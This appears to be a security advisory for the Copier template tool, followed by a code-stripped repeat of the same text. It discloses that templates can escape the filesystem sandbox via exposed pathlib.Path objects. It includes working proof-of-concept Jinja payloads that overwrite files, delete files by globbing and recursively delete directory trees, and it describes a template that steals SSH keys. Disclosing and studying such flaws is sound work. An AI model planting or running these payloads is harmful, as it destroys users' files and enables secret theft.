Impact
Copier's current security model shall restrict filesystem access through Jinja:
- Files can only be read using
{% include ... %}
, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
- Files are written in the destination directory according to their counterparts in the template.
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust
flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path
objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.
Arbitrary read access
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
Arbitrary write access
Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.
Reproducible examples:
-
Overwrite known file:
echo "s3cr3t" > secret.txt
mkdir src/
echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
uvx copier copy src/ dst/
cat secret.txt
-
Overwrite unknown file(s) via globbing:
echo "s3cr3t" > secret.txt
mkdir src/
cat <<'EOF' > src/malicious.txt.jinja
{% set parent = (_copier_conf.dst_path / '..').resolve() %}
{% for f in (parent.glob('*.txt') | list) %}
{{ f.write_text('OVERWRITTEN', 'utf-8') }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat secret.txt
-
Delete unknown file(s) via globbing:
echo "s3cr3t" > secret.txt
mkdir src/
cat <<'EOF' > src/malicious.txt.jinja
{% set parent = (_copier_conf.dst_path / '..').resolve() %}
{% for f in (parent.glob('*.txt') | list) %}
{{ f.unlink() }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat secret.txt
-
Delete unknown files and directories via tree walking:
mkdir data
mkdir data/a
mkdir data/a/b
echo "foo" > data/foo.txt
echo "bar" > data/a/bar.txt
echo "baz" > data/a/b/baz.txt
tree data/
mkdir src/
cat <<'EOF' > src/malicious.txt.jinja
{% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
{% for root, dirs, files in parent.walk(top_down=False) %}
{% for name in files %}
{{ (root / name).unlink() }}
{% endfor %}
{% for name in dirs %}
{{ (root / name).rmdir() }}
{% endfor %}
{% endfor %}
EOF
uvx copier copy src/ dst/
tree data/
References
Impact
Copier's current security model shall restrict filesystem access through Jinja:
{% include ... %}
, which is limited by Jinja to reading files from the subtree of the local template clone in our case.Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the
--UNSAFE,--trust
flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a fewpathlib.Path
objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.Arbitrary read access
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
Read known file:
Read unknown file(s) via globbing:
Arbitrary write access
Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.
Reproducible examples:
Overwrite known file:
Overwrite unknown file(s) via globbing:
Delete unknown file(s) via globbing:
Delete unknown files and directories via tree walking:
References